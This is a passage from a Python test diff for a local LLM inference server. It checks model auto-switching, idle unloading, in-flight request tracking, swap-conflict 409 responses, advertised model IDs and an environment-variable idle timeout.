# In-flight must be counted whenever auto-switch is on, even with idle TTL 0, + # so enabling idle mid-stream cannot unload an in-flight request. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + kw._inflight = 0 + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # counted despite idle TTL being 0 + assert kw._inflight == 0 # balanced after completion + + +# ── review follow-ups: OFF-state body, swap guard, alias reload, always-track ── + + +def _bad_body_request(): + import json as _json + class _BadReq: + async def json(self): + raise _json.JSONDecodeError("expecting value", "", 0) + + return _BadReq() + + +def test_completions_malformed_body_503_not_500_when_unloaded(monkeypatch): + # OFF + nothing loaded + unparseable body must still 503 (pre-feature + # behavior), not 500 from the early body read. + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_embeddings_malformed_body_503_not_500_when_unloaded(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_non_string_model_falls_through_without_error(monkeypatch): + # A non-string model (e.g. {"model": 123} on a raw-body endpoint) must be + # treated as absent, never raising in the membership checks, even when a stash + # exists from idle-unload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + asyncio.run(inference_route._maybe_auto_switch_model(123, object(), "tester")) + assert rec.calls == [] # no load, no TypeError + + +def test_anthropic_validates_max_tokens_before_auto_switch(): + # An Anthropic request missing max_tokens must 400 before the hook runs, so an + # invalid request never triggers a model load. Asserted on the source order. + import inspect + + src = inspect.getsource(inference_route.anthropic_messages) + assert "_maybe_auto_switch_model" in src + assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model") + + +def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch): + # After idle-unload frees the model, an unknown/alias name (resolves to None) + # reloads what was freed, including the exact quant, instead of 503-ing. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the backend + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", "Q4_K_M")) + _run_hook("gpt-4o-mini") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "unsloth/A-GGUF" + assert rec.calls[0].gguf_variant == "Q4_K_M" # exact freed quant restored + + +def test_alias_does_not_reload_when_model_already_loaded(monkeypatch): + # The reload only triggers on an empty backend; with something loaded, an + # unknown name still falls through (drop-in) without resurrecting the stash. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("unsloth/B-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_idle_loop_does_not_unload_while_request_pending(monkeypatch): + # A request that has marked itself pending (waiting on the unload gate) but not + # yet started must keep the idle loop from unloading the model. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 0.0) # far past any TTL + kw._note_pending() + try: + assert kw._is_idle(1.0) is False # pending request blocks unload + finally: + kw._note_unpending() + assert kw._is_idle(1.0) is True # cleared once it is no longer pending + + +def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch): + # A stream that starts while the feature is OFF must still be counted, so + # enabling idle-unload mid-stream cannot unload it. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # tracked despite the feature being off + assert kw._inflight == 0 + + +def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path): + # _build_index must scan the same roots the model picker lists, else a model + # the UI shows is silently served as the loaded one. Verify each is consulted. + from pathlib import Path + import routes.models as models_route + from utils import paths as upaths + import storage.studio_db as studio_db + + scanned = [] + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda d, limit = None: scanned.append(("models", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_hf_cache", + lambda d: scanned.append(("hf", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_lmstudio_dir", + lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active") + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy") + monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default") + monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"]) + monkeypatch.setattr( + studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}] + ) + for sub in ("active", "legacy", "default", "lmstudio", "custom"): + (tmp_path / sub).mkdir() + + resolver._build_index() + + hf = {p for k, p in scanned if k == "hf"} + lm = {p for k, p in scanned if k == "lm"} + assert str((tmp_path / "legacy").resolve()) in hf + assert str((tmp_path / "default").resolve()) in hf + assert str((tmp_path / "custom").resolve()) in hf + assert str((tmp_path / "lmstudio").resolve()) in lm + + +# ── gemini round: list-body 400, non-POST not tracked ── + + +def _json_body_request(payload): + class _Req: + async def json(self): + return payload + + return _Req() + + +def test_completions_list_body_is_400_not_500(monkeypatch): + # A valid JSON non-dict body (e.g. a list) on a loaded backend is a clean 400, + # not a 500 from body.get(...). + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") # loaded + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_embeddings_list_body_is_400_not_500(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_middleware_ignores_non_post(monkeypatch): + # CORS preflight (OPTIONS) on an inference path must not be tracked as in-flight. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 0 # OPTIONS not counted + assert kw._inflight == 0 + + +# ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ── + + +def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch): + # A cross-model swap must 409 (not kill) while another inference request is in + # flight; the requesting call itself is excluded from the count. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # this request + another active one + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch): + # Only the caller is in flight: nothing else to protect, so the swap proceeds. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", None, "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/B-GGUF") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/p/B" # concrete local path, not the repo id + + +def test_idle_loop_resets_timer_for_same_repo_different_variant(monkeypatch): + # Same repo, different quant counts as a fresh model: the idle timer resets, so + # the new variant is not unloaded before one TTL of its own. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.05) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + + unloads = [] + backend = _FakeBackend("org/model-GGUF", hf_variant = "Q4_K_M") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.03) + assert unloads == [] + kw._last_active = time.monotonic() - 60 # force idle + backend.hf_variant = "Q8_0" # same id, new quant -> fresh identity + await asyncio.sleep(0.03) + assert unloads == [] # timer reset by the variant change, not unloaded + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + + +def test_generate_stream_is_tracked_as_inference_path(): + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/generate/stream") is True + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/responses") is True + + +def test_successful_manual_load_clears_last_unloaded_stash(): + from core.inference import llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_loaded() + assert kw.get_last_unloaded_model() is None + + +def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path): + # An HF-cache repo resolves to its on-disk snapshot dir, so /load takes the + # local branch (no repo-id download). loader_id stays the repo id. + from types import SimpleNamespace + + repo = tmp_path / "models--org--Repo" + snap = repo / "snapshots" / "abc123" + snap.mkdir(parents = True) + (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub") + + entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo))) + assert entry is not None + assert entry.loader_id == "org/Repo" # advertised id unchanged + assert "snapshots" in entry.load_path # loads from the concrete snapshot dir + assert entry.load_path != "org/Repo" # never the bare repo id + assert entry.variants # quant detected on disk + + +# ── review round 5: concurrent-swap, repo-id identity, /v1/models id, gate, 503 ── + + +def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch): + # A model loaded normally has model_identifier == repo id, but the resolver + # returns the concrete load path. A request for that repo must count as already + # serving (no reload, no 409) even with another inference active. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/Repo-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/Repo-GGUF:Q4_K_M") # exact quant + _run_hook("org/Repo-GGUF") # bare id + assert rec.calls == [] + + +def test_auto_switch_advertises_repo_id_after_load(monkeypatch): + # After a load-by-path, the backend advertises the repo id (override key), not + # the concrete path, so /v1/models and the idle stash stay name-based. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B-snapshot", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("org/B-GGUF:Q8_0") + assert rec.calls[0].model_path == "/p/B-snapshot" # loaded by concrete path + assert backend._openai_advertised_id == "org/B-GGUF" # advertised by repo id + + +def test_already_serving_by_path_records_advertised_alias(monkeypatch): + # Codex P2: a model loaded by local path and requested via an advertised alias + # that resolves to the same path is already serving (no reload), but /v1/models + # and responses would report the path basename and list the alias as loaded:false + # unless the alias is recorded as the advertised id on the already-serving return. + path = "/cache/models--org--Repo-GGUF/snapshots/abc" + backend = _FakeBackend(path, hf_variant = "Q4_K_M") # loaded by path, no advertised id + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = (path, "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + assert backend._openai_advertised_id is None + _run_hook("org/Repo-GGUF:Q4_K_M") + assert rec.calls == [] # already serving -> no reload + assert backend._openai_advertised_id == "org/Repo-GGUF" # alias now recorded + + +def test_streaming_responses_uses_advertised_id_helper(): + # Codex P2: streamed /v1/responses envelopes must derive the model id from + # _llama_public_model_id (which prefers _openai_advertised_id), not the raw + # model_identifier. After an auto-switch to a cached HF GGUF the identifier is + # the snapshot path while the repo id lives in _openai_advertised_id, so the raw + # form would stream a snapshot basename while /v1/models, chat, and non-streaming + # responses report the repo id. + import inspect + + src = inspect.getsource(inference_route._responses_stream) + assert "_clean_model = _llama_public_model_id(llama_backend" in src + assert 'public_model_id(getattr(llama_backend, "model_identifier"' not in src + + +def test_concurrent_same_target_requests_load_once(monkeypatch): + # Two concurrent requests for the same unloaded model must load once, not each + # 409 the other. Simulate the second request already waiting (registered) while + # the first runs the hook with _inflight counting both. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # both same-target requests counted + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch): + # A concurrent request heading to a different target still blocks the swap: the + # same-target exclusion must not swallow a genuinely conflicting request. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_v1_models_advertises_repo_id_not_load_path(monkeypatch): + # /v1/models must report the advertised repo id, never the host load path. + from types import SimpleNamespace + + llama = _FakeBackend("/cache/models--org--Repo/snapshots/abc") + llama._openai_advertised_id = "org/Repo-GGUF" + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr( + inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None) + ) + objects = inference_route._openai_model_objects() + assert [o["id"] for o in objects] == ["org/Repo-GGUF"] + + +def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch): + # The idle stash carries (load_path, quant, advertised_id). An alias reload must + # look up the override by the advertised repo id, not the concrete load path, + # so the user's saved launch flags survive the unload/reload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + overrides = {"org/A-GGUF": {"max_seq_length": 8192}} + monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {})) + _run_hook("gpt-4o-mini") + assert rec.calls[0].model_path == "/cache/snap/A" # reloads the freed path + assert rec.calls[0].gguf_variant == "Q4_K_M" + assert rec.calls[0].max_seq_length == 8192 # override keyed by repo id, not path + + +def test_load_route_holds_lifecycle_gate(monkeypatch): + # Lock the manual /load gate against silent revert: the route must wrap the + # load in inference_lifecycle_gate so idle-unload can't fire mid-load. + import inspect + + src = inspect.getsource(inference_route.load_model) + assert "inference_lifecycle_gate" in src + assert "_load_model_impl" in src + + +def _anthropic_payload(max_tokens = None): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "claude-x", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + ) + + +def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch): + # Default-off parity: unloaded backend + auto-switch off 503s before the + # max_tokens 400, exactly as the pre-feature endpoint did. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 503 + + +def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch): + # With auto-switch on, request-shape validation runs first: a missing + # max_tokens still 400s before any load is attempted. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 400 + + +# ── review round 6: concurrency ordering, external untrack, unload gate, ids ── + + +def test_pending_same_target_request_does_not_force_409(monkeypatch): + # A second same-target request blocked in the middleware (pending, not yet + # generating) must not make the first request 409: pending is excluded. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) # just the caller + monkeypatch.setattr(kw, "_pending", 1) # second request blocked in middleware + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch): + # The real middleware counts a concurrent same-model request as in-flight + # before it resolves and registers a target waiter. The raw-request waiter, + # registered before resolve, must still exclude it so the first request loads. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # caller + a still-resolving twin + monkeypatch.setattr(kw, "_pending", 0) + # The twin has only registered its raw requested model (not yet a target waiter). + inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_external_untrack_decrements_inflight_and_is_idempotent(): + from core.inference import llama_keepwarm as kw + + kw._inflight = 2 + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 1 + assert scope.get(kw._UNTRACKED_SCOPE_KEY) is True + kw.untrack_current_request(scope) # idempotent: no further decrement + assert kw._inflight == 1 + kw._inflight = 0 + + +def test_manual_unload_interrupts_even_while_inference_active(monkeypatch): + # A manual /unload is a deliberate action: it tears down immediately even with + # a request in flight (only the automatic idle loop defers). No 409. + from core.inference import llama_keepwarm as kw + from models.inference import UnloadRequest + + backend = _FakeBackend("org/A-GGUF") + backend.is_active = True + backend.unload_model = lambda: setattr(backend, "is_loaded", False) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr(kw, "_inflight", 1) # another request streaming + monkeypatch.setattr(kw, "_pending", 0) + resp = asyncio.run( + inference_route.unload_model(UnloadRequest(model_path = "org/A-GGUF"), "tester") + ) + assert resp.status == "unloaded" + assert not backend.is_loaded # torn down despite the active request + + +def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch): + # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight). + # _load_model_impl would unload it, so auto-switch must 409, not only when a + # GGUF is loaded. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # no GGUF loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # an Unsloth stream + this request + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] # the active Unsloth model is not torn down + + +def test_public_model_id_prefers_advertised_over_path(): + backend = _FakeBackend("/cache/models--org--Repo/snapshots/abc/model.gguf") + backend._openai_advertised_id = "org/Repo-GGUF" + # The advertised repo id from an auto-switch load wins. + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend._openai_advertised_id = None + # No advertised id: the identifier is cleaned to a public id (delegates to + # public_model_id), never the raw on-disk .gguf path. + cleaned = inference_route._llama_public_model_id(backend) + assert cleaned and "/cache/" not in cleaned and not cleaned.endswith(".gguf") + # An already-clean repo id passes through unchanged. + backend.model_identifier = "org/Repo-GGUF" + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend.model_identifier = None + assert inference_route._llama_public_model_id(backend, "req") == "req" + + +def test_chat_validates_non_system_message_before_auto_switch(): + # A system-only chat must be rejected before the hook so an invalid request + # never swaps the resident model. Asserted on source order. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("At least one non-system message is required.") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_chat_untracks_external_provider_before_proxy(): + # The external-provider branch must untrack the request before proxying so its + # stream can't block a concurrent local auto-switch. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider") + + +# ── round 7: API-initiated training defers to active inference, UI does not ── + + +def test_authenticated_via_api_key_detects_key_vs_session(): + from fastapi.security import HTTPAuthorizationCredentials + from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX + + key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc") + jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session") + assert asyncio.run(authenticated_via_api_key(key)) is True + assert asyncio.run(authenticated_via_api_key(jwt)) is False + + +def _training_request(): + from models.training import TrainingStartRequest + return TrainingStartRequest( + model_name = "unsloth/test", training_type = "LoRA/QLoRA", format_type = "alpaca" + ) + + +def test_api_training_refused_while_inference_active(monkeypatch): + # API-key caller: training is refused with 409 while a request streams, so it + # can't free VRAM by unloading the chat model out from under the stream. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + asyncio.run( + training_route.start_training( + _training_request(), current_subject = "t", via_api_key = True + ) + ) + assert exc.value.status_code == 409 + + +def test_ui_training_not_blocked_by_active_inference(monkeypatch): + # UI (session auth) caller: the API guard is skipped, so training proceeds past + # it even with inference active (here it hits the normal already-active path). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1") + monkeypatch.setattr(training_route, "get_training_backend", lambda: fake) + resp = asyncio.run( + training_route.start_training(_training_request(), current_subject = "t", via_api_key = False) + ) + assert resp.status == "error" and "already" in (resp.error or "").lower() + + +# ── UNSLOTH_MODEL_IDLE_TTL env override (borrowed from PR 6517) ── + + +def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch): + # With nothing stored, the env var enables idle-unload even while auto-switch + # is off (headless/ops default), and the UI reader reflects it. + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) # nothing stored + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 600 + assert settings.get_stored_auto_unload_idle_seconds() == 600 + + +def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch): + # An explicit stored value wins over the env default and remains gated on the + # auto-switch toggle. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 30 # stored wins, not env + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 # explicit value still gated off + + +def test_env_idle_ttl_invalid_is_ignored(monkeypatch): + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "not-a-number") + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.delenv("UNSLOTH_MODEL_IDLE_TTL", raising = False) + assert settings.get_auto_unload_idle_seconds() == 0 + + +# ── codex/gemini round: standalone-idle reload, path-as-id, embeddings input, retrieve id ── + + +def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatch): + # C3: a standalone UNSLOTH_MODEL_IDLE_TTL (auto-switch OFF) freed the model on + # idle; the next request must restore exactly what was freed even though the + # resolver never runs while auto-switch is off. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), # would switch if resolver ran + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) # standalone env TTL + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A + # is restored, not the resolves_to target B. + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch): + # C3 guard: with both auto-switch and idle-unload off the hook is a pure no-op + # and must not resurrect a stashed model (that path only serves the idle feature). + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = False, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + assert rec.calls == [] + + +def test_stash_reload_skipped_while_unsloth_model_active(monkeypatch): + # An Unsloth/Transformers model loaded after an idle-unload leaves the GGUF slot + # empty but is the live model; an unknown /v1 name must NOT resurrect the stale + # GGUF stash (that reload would tear the active Unsloth model down). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # GGUF slot empty + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) 